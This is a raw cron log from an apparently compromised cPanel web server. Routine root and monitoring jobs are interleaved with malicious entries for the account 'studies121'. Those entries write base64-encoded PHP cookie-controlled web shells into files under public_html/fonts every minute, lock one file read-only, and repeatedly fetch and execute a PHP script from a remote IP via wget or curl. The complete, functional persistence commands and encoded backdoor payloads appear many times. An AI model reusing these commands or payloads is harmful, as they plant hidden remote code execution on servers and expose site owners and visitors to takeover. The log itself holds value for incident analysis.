Sep  2 05:57:01 ip-184-168-122-23 CROND[24312]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 05:58:01 ip-184-168-122-23 CROND[24502]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 05:58:01 ip-184-168-122-23 CROND[24504]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 05:58:01 ip-184-168-122-23 CROND[24505]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 05:58:01 ip-184-168-122-23 CROND[24506]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 05:58:01 ip-184-168-122-23 CROND[24507]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 05:59:01 ip-184-168-122-23 CROND[24629]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 05:59:01 ip-184-168-122-23 CROND[24630]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 05:59:01 ip-184-168-122-23 CROND[24632]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 05:59:01 ip-184-168-122-23 CROND[24634]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 06:00:01 ip-184-168-122-23 CROND[24772]: (root) CMD (/usr/local/cpanel/scripts/exim_tidydb > /dev/null 2>&1)
Sep  2 06:00:01 ip-184-168-122-23 CROND[24775]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 06:00:01 ip-184-168-122-23 CROND[24776]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 06:00:01 ip-184-168-122-23 CROND[24774]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 06:00:01 ip-184-168-122-23 CROND[24777]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 06:00:01 ip-184-168-122-23 CROND[24778]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 06:00:01 ip-184-168-122-23 CROND[24779]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep  2 06:00:01 ip-184-168-122-23 CROND[24781]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 06:00:01 ip-184-168-122-23 CROND[24782]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  2 06:00:01 ip-184-168-122-23 CROND[24780]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 06:01:02 ip-184-168-122-23 CROND[24922]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 06:01:02 ip-184-168-122-23 CROND[24923]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 06:01:02 ip-184-168-122-23 CROND[24925]: (root) CMD (run-parts /etc/cron.hourly)
Sep  2 06:01:02 ip-184-168-122-23 CROND[24926]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  2 06:01:02 ip-184-168-122-23 CROND[24930]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 06:01:02 ip-184-168-122-23 CROND[24933]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 06:01:02 ip-184-168-122-23 run-parts(/etc/cron.hourly)[24925]: starting 0anacron
Sep  2 06:01:02 ip-184-168-122-23 run-parts(/etc/cron.hourly)[24947]: finished 0anacron
Sep  2 06:02:02 ip-184-168-122-23 CROND[25136]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 06:02:02 ip-184-168-122-23 CROND[25133]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 06:02:02 ip-184-168-122-23 CROND[25137]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 06:02:02 ip-184-168-122-23 CROND[25140]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 06:02:02 ip-184-168-122-23 CROND[25142]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 06:03:01 ip-184-168-122-23 CROND[25473]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 06:03:01 ip-184-168-122-23 CROND[25476]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 06:03:01 ip-184-168-122-23 CROND[25475]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 06:03:01 ip-184-168-122-23 CROND[25478]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 06:04:01 ip-184-168-122-23 CROND[25743]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 06:04:01 ip-184-168-122-23 CROND[25744]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 06:04:01 ip-184-168-122-23 CROND[25746]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 06:04:01 ip-184-168-122-23 CROND[25747]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 06:04:01 ip-184-168-122-23 CROND[25749]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 06:05:01 ip-184-168-122-23 CROND[25858]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 06:05:01 ip-184-168-122-23 CROND[25860]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 06:05:01 ip-184-168-122-23 CROND[25862]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 06:05:01 ip-184-168-122-23 CROND[25861]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  2 06:05:01 ip-184-168-122-23 CROND[25865]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 06:05:01 ip-184-168-122-23 CROND[25864]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 06:05:01 ip-184-168-122-23 CROND[25863]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 06:06:01 ip-184-168-122-23 CROND[25986]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 06:06:01 ip-184-168-122-23 CROND[25987]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 06:06:01 ip-184-168-122-23 CROND[25990]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 06:06:01 ip-184-168-122-23 CROND[25992]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 06:06:01 ip-184-168-122-23 CROND[25991]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 06:07:01 ip-184-168-122-23 CROND[26120]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 06:07:01 ip-184-168-122-23 CROND[26121]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 06:07:01 ip-184-168-122-23 CROND[26123]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 06:07:01 ip-184-168-122-23 CROND[26126]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 06:08:01 ip-184-168-122-23 CROND[26232]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 06:08:01 ip-184-168-122-23 CROND[26233]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 06:08:01 ip-184-168-122-23 CROND[26235]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 06:08:01 ip-184-168-122-23 CROND[26236]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 06:08:01 ip-184-168-122-23 CROND[26237]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 06:09:01 ip-184-168-122-23 CROND[26364]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 06:09:01 ip-184-168-122-23 CROND[26362]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 06:09:01 ip-184-168-122-23 CROND[26367]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
